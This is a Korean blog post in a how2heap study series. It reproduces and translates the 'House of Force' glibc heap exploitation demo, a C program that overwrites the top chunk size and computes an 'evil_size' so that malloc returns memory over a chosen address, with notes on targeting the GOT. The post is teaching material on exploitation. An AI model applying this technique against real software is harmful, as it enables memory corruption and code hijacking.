#include

"stdio.h" #include "stdint.h" #include "stdlib.h" #include "string.h" #include "stdint.h" #include "malloc.h" char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[]) { printf("\nWelcome to the House of Force\n\n"); printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); printf("The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n"); printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); printf("Its current value is: %s\n", bss_var); printf("\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); printf("The chunk of 256 bytes has been allocated at %p.\n", p1); printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); printf("\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); //----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); printf("\nThe top chunk starts at %p\n", ptr_top); printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); ptr_top[0] = -1; printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); //------------------------ printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n"); unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); void* ctr_chunk = malloc(100); printf("\nNow, the next chunk we overwrite will point at our target buffer.\n"); printf("malloc(100) => %p!\n", ctr_chunk); printf("Now, we can finally overwrite that value:\n"); printf("... old string: %s\n", bss_var); printf("... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); printf("... new string: %s\n", bss_var); // some further discussion: printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); printf("This because the main_arena->top pointer is setted to current av->top + malloc_size and we \nwant to set this result to the address of malloc_got_address-8\n\n"); printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2); //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }



Welcome to the House of Force


The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.

House of Force의 아이디어는 top chunk를 overwrite하고 malloc의 return을 임의의 값으로 바꾸는데 있다


The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.

top chunk 는 특별한 chunk이다. 메모리의 마지막에 있고 malloc이 os로부터 더 많은 공간을 요청할때 resize되는 청크이다


In the end, we will use this to overwrite a variable at 0x602060.

마지막에 우리는 이것을 0x602060에 있는 변수(bss영역에 할당한 전역변수)를 overwrite하는데 사용할 것이다.


Its current value is: This is a string that we want to overwrite.

현재의 값은 "This is a string that we want to overwrite"이다


Let's allocate the first chunk, taking space from the wilderness.

먼저 첫번째 chunk를 할당해보자, 이는 넓은 지역으로부터 공간을 할당한다.=

intptr_t *p1 = malloc(256);


The chunk of 256 bytes has been allocated at 0x2420420.

이 256바이트의 청크는 0x2420420에 할당됬다


Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.

이제 두개의 chunk로 구성된 힙 : 우리가 할당한 chunk와 top chunk


int real_size = malloc_usable_size(p1);

Real size (aligned and all that jazz) of our allocated chunk is 264.

우리가 할당한 chunk의 실제 크기 (정렬되고..?) 는 264바이트이다


Now let's emulate a vulnerability that can overwrite the header of the Top Chunk

이제 top chunk의 header를 overwrite하는 취약점을 에뮬레이트해보자

//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);

The top chunk starts at 0x2420528

topchunk는 0x2420528에서 시작된다


Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.

top chunk size를 malloc이 mmap할수 없을만큼 엄청나게 큰수로 overwriting한다


Old size of top chunk 0x20ae1

topchunk의 이전 size는 0x20ae1

ptr_top[0] = -1;

New size of top chunk 0xffffffffffffffff

새로운 사이즈는 0xffffffffffffffff


The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.

wilderness의 사이즈는 엄청크다. 우리는 mmap을 호출하는 malloc없이 무엇이든 할당할 수 있다.


Next, we will allocate a chunk that will get us right up against the desired region (with an integer

overflow) and will then be able to allocate a chunk right over the desired region.

다음으로, 우리는 우리를 바람직한 영역으로 데려다줄 한 청크를 할당한다. 

그리고 그 영역 바로 위에 청크를 할당할수 있게 된다.

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;

The value we want to write to at 0x602060(bss변수 주소), and the top chunk is at 0x2420528, so accounting for the header size,

 we will malloc 0xfffffffffe1e1b28(evil_size) bytes.

우리가 쓰고 싶은 주소는 0x602060, top chunk의 주소는 0x2420528, header size를 계산하기 위해 우리는 0xfffffffffe1e1b28(evil_size)바이트를 할당한다


void *new_ptr = malloc(evil_size);

As expected, the new pointer is at the same place as the old top chunk: 0x2420530(new_ptr)

예상처럼 다음 포인터는 old top chunk와 같은 위치인 0x2420530에 있다.

void* ctr_chunk = malloc(100);

Now, the next chunk we overwrite will point at our target buffer.

이제 우리가 덮어쓸 그 다음청크가 우리의 타겟 버퍼의 포인터가 될것이다.


malloc(100) => 0x602060!(ctr_chunk)

ctr_chunk의 주소가 0x602060이 되었다.


Now, we can finally overwrite that value:

... old string: This is a string that we want to overwrite.

... doing strcpy overwrite with "YEAH!!!"...

이제 우리는 마침내 값을 덮어쓸 수 있다.



strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %s\n", bss_var);

... new string: YEAH!!!

새 string : YEAH


This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed

이 조작된 malloc은 malloc_got_address - 8 -p2_guessed로 호출된다.


This because the main_arena->top pointer is setted to current av->top + malloc_size and we want to set this result to the address of malloc_got_address-8

이것은 main_arena가 가리키는 top pointer가 현재 av->top+malloc_size로 설정되있기 때문이다. 그리고 우리는 이 결과를 malloc_got_address-8로 세팅하기를 원한다.


In order to do this we have malloc_got_address-8 = p2_guessed + evil_size

그러기 위해서 우리는 malloc_got_address - 8 = p2_guessed+ evil_size 를 가진다.


The av->top after this big malloc will be setted in this way to malloc_got_address-8

이커다란 malloc 후에 av->top은 malloc_got_address-8로 세팅될 것이다.


After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),and basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address

malloc을 새로 호출하면 이것은 av->top+8로 리턴될것이다(+8은 헤더때문에 붙는다) 그리고 기본적으로 malloc_got_address-8+8=malloc_got_address에 있는 청크로 리턴 할 것이다.


 //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
 //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);


This last malloc will be served from the remainder code and will return the av->top+8 injected before

이 마지막 malloc은코드의 나머지로부터 제공되고 이전에 inject된 av->top+8로 return할 것이다.






'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of spirit  (0) 2016.12.16

+ Recent posts